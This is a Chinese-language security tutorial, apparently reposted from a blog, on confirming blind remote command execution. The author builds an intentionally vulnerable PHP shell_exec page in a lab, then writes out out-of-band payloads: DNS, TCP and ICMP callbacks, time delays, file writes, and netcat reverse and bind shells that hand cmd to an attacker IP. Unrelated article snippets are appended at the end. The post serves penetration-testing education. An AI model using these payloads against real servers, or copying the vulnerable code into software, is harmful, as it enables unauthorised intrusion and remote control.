【攻防技术系列】Rce漏洞数据不回显解决策略

news/2024/12/4 19:50:36/文章来源:https://www.cnblogs.com/o-O-oO/p/18585372
一、数据带外1.1 DNSlog1.2 TCP-Portlog1.3 ICMP-Sizelog二、延迟判断三、写文件四、反弹权限4.1 反向连接4.2 正向连接

免责声明

请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

前言:

当我们在发现Rce漏洞的时候,有时候在命令执行的过程中会遇到数据不回显的情况, 这种情况的产生原因是代码层面函数调用问题,或者没有输出测试等原因,下面我们来看看解决方案:

一、数据带外

首先我们先启动两台实验服务器, 一台Windows服务器, 一台Linux服务器:

Windows服务器环境:Windows Server 2016 数据中心版 64位中文版 2核4G

Linux服务器环境:Ubuntu Server 20.04 LTS 64位 2核4G

启动之后我们先向Windows服务器上传一个phpStudy, 用来搭建漏洞环境。

启动我们的phpStudy, 然后我们将里面内置的Apache服务器启动, 然后来到网站目录下,放上我们的漏洞代码:

漏洞代码如下:

<?php
$cmd=$_GET['c'];
shell_exec($cmd);//命令执行函数, 执行后无回显
//system($cmd);//命令执行函数, 执行后有回显
?>

我们可以看到这个漏洞的php代码里面, 第一个函数是无回显的, 第二个命令执行函数是有回显的, 我们把第二个函数注释后然后再上传到我们的网站目录下这样就搭建好了我们的漏洞环境。

访问Windows服务器ip地址的80端口, 然后使用?c=calc 测试, 看看是否能够成功rce:

从上图的结果可以看到计算器确实弹出来了,但是我们执行payload的界面是没有回显的, 也就是我们无法知道计算器是否弹出这个结果, 因此我们可以使用数据带外这一策略:

1.1 DNSlog

我们可以使用DNSlog来确定是否成功执行了命令, 我们首先开启Yakit自带的DNSlog:

生成一个可用域名:

然后我们使用以下payload进行rce, 看DNSlog这边是否能够接收到数据:

?c=ping xhqjbzeydu.dgrh3.cn

我们可以看到DNSlog这边已经接受到数据了, 证明了Rce漏洞存在, 可以进行命令执行:

1.2 TCP-Portlog

我们也可以使用TCP-Portlog实现数据带外,使用TCP-Portlog实现数据带外需要借助nc,我们先将nc传到Windows服务器上面, TCP-Portlog也是集成在了Yakit里面的:

上传nc之前先将Windows服务器的安全设置全关了:

通过Yakit的TCP-Portlog生成一个随机端口:

使用以下payload进行访问:

?c=nc 101.33.34.170 60687

可以看到TCP-Portlog这里接收到了数据,这也就证实了是可以rce的:

1.3 ICMP-Sizelog

ICMP-Sizelog也是实现数据带外的一种方式, 也集成在Yakit里面,就在Tcp-Portlog的旁边,我们来打开ICMP-Sizelog进行实验:

我们生成一个可用长度后, 使用以下payload进行访问:

?c=ping -l 799 ns1.cybertunnel.run

可以看到ICMP-Sizelog这里已经接收到了数据, 代表rce漏洞存在:

二、延迟判断

我们发包然后通过抓包工具查看回显时间, 这里使用Yakit进行演示, 下面是攻击payload格式:

Win

ping -n 3 127.0.0.1 #-n后面的3代表延迟3秒, 相当于编程语言中的sleep(3)

Linux

ping -c 3 127.0.0.1 #linux下 -c后面是延迟时间,我们的目标是Windows服务器, 因此这个可以忽略

使用以下的payload访问, 并且使用Yakit的免配置启动抓包:

?c=ping -n 3 127.0.0.1 #第一次访问,延迟3秒
?c=ping -n 6 127.0.0.1 #第二次访问,延迟6秒

我们可以通过抓到的数据包看到每次的访问确实都延迟了约等于我们设定的时间,这就证明了rce漏洞存在:

三、写文件

我们可以通过命令向服务器写入静态文件, 然后通过访问这个文件,如果这个文件存在, 则证明rce成功,下面是payload:

?c=echo Hello, World! > 1.txt #代表创建一个文件1.txt, 并写入Hello World进去

我们尝试进行访问这个文件, 发现可以成功访问, 就代表了我们的命令执行了, 成功rce:

四、反弹权限

4.1 反向连接

我们可以通过反弹shell将权限返给我们的Linux攻击机,下面是一个反弹shell命令生成的网站:

https://forum.ywhack.com/reverse-shell/

首先我们让我们的Linux攻击机监听9001端口:

nc -lvnp 9001

然后通过下面的payload,让Windows服务器主动交出权限:

?c=nc -e cmd 175.27.128.162 9001 #这个命令代表将cmd给到目标地址的9001端口

实验之前我们需要在安全组中把我们Linux攻击机的9001端口放开:

攻击机监听9001端口:

执行payload后我们发现权限已经反弹过来了:

并且命令可以成功执行:

4.2 正向连接

刚才的反向连接是让Windows靶机将权限主动交出来, 那么正向连接就是通过rce漏洞, 让Windows靶机执行命令将cmd绑定到某个端口并进行监听, 然后让Linux攻击机主动连接那个端口:

攻击payload

?c=nc -e cmd -lvvp 6666 #将cmd绑定到本地6666端口, 需要先在安全组的入站规则那里开通6666端口

Linux攻击机通过下面的命令主动连接Windows靶机:

nc 119.45.131.234 6666

可以看到通过正向连接我们也是直接拿到了权限, 并且成功执行命令:

以上就是我们在遇到Rce漏洞不回显的情况下如何确定存在Rce漏洞并获取数据的解决策略了,这篇文章到这里就结束了。

原创 PysonX

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/846813.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Quantization

目录引线性量化 (Linear Quantization)对称量化非对称量化非线性量化Power-of-XRoundingDeterministic roundingStochastic rounding[1] 进击的程序猿-模型压缩-神经网络量化基础.[2] Przewlocka-Rus D., Sarwar S. S., Sumbul H. E., Li Y. and De Salvo B. Power-of-two quan…

H5-28 清除浮动

浮动元素会造成父元素高度塌陷后续元素也会受到影响 1、浮动的作用当元素设置fliat浮动后,该元素就会脱离文档流并向左/向右浮动①浮动元素会造成父元素高度塌陷②后续元素会受到影响 <div class="box"><div class="a"></div><div…

第58篇 Redis常用命令

1.基本操作2.字符串(Strings)3.列表()4.哈希(Hashes)5.位图(Bitmaps)6.位域(Bitfields)7.集合(Sets)8.有序集合(SortedSets)9.流(Streams)10。地理空间(Geospatial)11.HyperLogLog

位运算(未完成)

1、如果n & (n-1)=0,则n为2的幂 2、 题1:找出唯一成对的数 1-1000这1000个数放在含有1001个元素的数组中,只有唯一的一个元素值重复,其它均只出现一次。每个数组元素只能访问一次,设计一个算法,将它找出来;不用辅助存储空间,能否设计一个算法实现? 性质:AA=0,B0=B …

seleniumwire获取请求头参数

selenium-wire扩展了 Selenium 的 Python 绑定,让您可以访问浏览器发出的底层请求。 您编写代码的方式与使用 Selenium 的方式相同,但您可以获得额外的 API 来检查请求和响应并动态更改它们 一:简介 selenium是爬虫常用的手段之一,由于是使用浏览器驱动模拟手动操作,所以只…

Confusion pg walkthrough Intermediate

namp ┌──(root㉿kali)-[~] └─# nmap -p- -A 192.168.188.99 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-04 04:50 UTC Nmap scan report for 192.168.188.99 Host is up (0.072s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE…

ESP32+micropython+作为WiFi热点与PC通信+TCP/IP接收并返回数据

ESP32+作为WiFi热点+接收并返回数据 ESP32代码# ESP32 作为AP # 作为服务器 接收数据 并echo# ESP32 作为AP 即wifi热点 import network import utime# 配置ESP32为AP模式 ssid = ESP32_AP password = 12345678 authmode = 4 # WPA2-PSK# 创建WLAN对象 wlan = network.W…

ESP32+micropython+作为WiFi热点+接收并返回数据

ESP32+作为WiFi热点+接收并返回数据# ESP32 作为AP # 作为服务器 接收数据 并echo# ESP32 作为AP 即wifi热点 import network import utime# 配置ESP32为AP模式 ssid = ESP32_AP password = 12345678 authmode = 4 # WPA2-PSK# 创建WLAN对象 wlan = network.WLAN(networ…

docker环境一个奇怪的问题,容器进程正常运行,但是docker ps -a却找不到容器,也找不到镜像

一: 问题: docker环境一个奇怪的问题,使用容器跑的进程正常提供服务,在服务器上也能看到对应的端口正在监听,但是docker ps -a却找不到容器,也找不到镜像. 查看我使用docker容器启动服务的端口 正在监听docker images 找不到对应的镜像docker ps -a 找不到任何容器二: 排查过…

coca phrase的collocates MI计算比较

declare|declared war declare war declared war

Prime1_解法一:cms渗透 内核漏洞提权

Prime1_解法一:cms渗透 & 内核漏洞提权目录Prime1_解法一:cms渗透 & 内核漏洞提权信息收集主机发现nmap扫描tcp扫描tcp详细扫描22,80端口udp扫描漏洞脚本扫描目录爆破dirsearchWeb渗透wfuzz常见的 wfuzz 过滤器:获得wordpress后台权限wordpress cms渗透WordPress…

Bitmap Indexing in DBMS Bitmap Index vs. B-tree Index low cardinality

1、 Similarly let us assume that the Job of the Employees is divided into 4 categories only i.e Manager, Analyst, Clerk, and Salesman. Such columns are called columns with low cardinality. 2、 SELECT * FROM Employee WHERE New_Emp = &qu…